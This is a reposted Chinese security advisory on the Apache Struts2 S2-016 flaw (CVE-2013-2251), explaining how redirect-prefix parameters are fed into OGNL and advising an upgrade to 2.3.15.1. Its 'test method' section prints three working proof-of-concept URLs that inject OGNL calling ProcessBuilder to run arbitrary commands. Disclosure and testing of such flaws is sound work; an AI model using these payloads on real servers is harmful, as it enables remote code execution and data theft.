Apache Struts2打开重定向/命令执行 CVE-2013-2251「建议收藏」

2022-09-14 10:14:28 浏览数 (2)

大家好,又见面了,我是你们的朋友全栈君。

昨日,著名Java Web框架Struts官方再发高危安全漏洞补丁升级(最新版本为:2.3.15.1),升级修补了多个安全漏洞,其中包括一个远程任意代码的高危安全漏洞,这些漏洞可以影响到Struts 2.0.0 – Struts 2.3.15的所有版本。攻击者可以利用该漏洞,执行恶意Java代码,最终导致网站数据被窃取、网页被篡改等严重后果。基于Struts2使用广泛,目前很多网站还没有升级,另外我们注意到针对该漏洞的攻击代码已出现。

关于Struts

Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。目前Struts是应用最广泛的Web应用框架之一。

描述:


BUGTRAQ ID: 61189 CVE ID: CVE-2013-2251

Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。

Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接入Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。

redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。

<*来源:Takeshi Terada (Mitsui Bussan Secure Directions, Inc) 链接: http://struts.apache.org/release/2.3.x/docs/s2-016.html *>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://host/struts2-blank/example/X.action?action:%{(new java.lang.ProcessBuilder(new java.lang.String[]{‘command’,’goes’,’here’})).start()} http://host/struts2-showcase/employee/save.action?redirect:%{(new java.lang.ProcessBuilder(new java.lang.String[]{‘command’,’goes’,’here’})).start()} http://host/struts2-showcase/employee/save.action?redirectAction:%{(new java.lang.ProcessBuilder(new java.lang.String[]{‘command’,’goes’,’here’})).start()}

解决方案

升级到到Struts 2.3.15.1,下地地址:http://struts.apache.org/download.cgi#struts23151。

针对Struts屡发高危漏洞,SCANV推荐使用来自阿里云的著名网络安全专家 空虚浪子心 推出的解决方案。详见:http://www.inbreak.net/archives/507

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/158486.html原文链接:https://javaforall.cn

0 人点赞